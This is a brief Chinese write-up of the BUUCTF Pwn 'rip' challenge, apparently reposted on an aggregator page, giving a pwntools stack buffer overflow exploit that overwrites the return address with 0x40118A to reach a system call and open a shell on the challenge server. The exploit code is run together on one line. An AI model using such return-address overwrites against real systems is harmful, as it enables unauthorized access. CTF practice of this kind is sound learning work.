按tab鍵,看一下 fun函數 發現其地址是 0x401186;
但是寫EXP不能直接用這個地址,需要使用0x40118A這個地址,system函數是在0x40118A壓參數然后執行

from pwn import *p = remote('node3.buuoj.cn', '25677') payload = 'a' * (0xf + 8) + p64(0x40118A)p.sendline(payload)p.interactive()

與50位技術專家面對面20年技術見證，附贈技術全景圖

總結

以上是生活随笔為你收集整理的BUUCTF(Pwn) rip的全部內容，希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯，歡迎將生活随笔推薦給好友。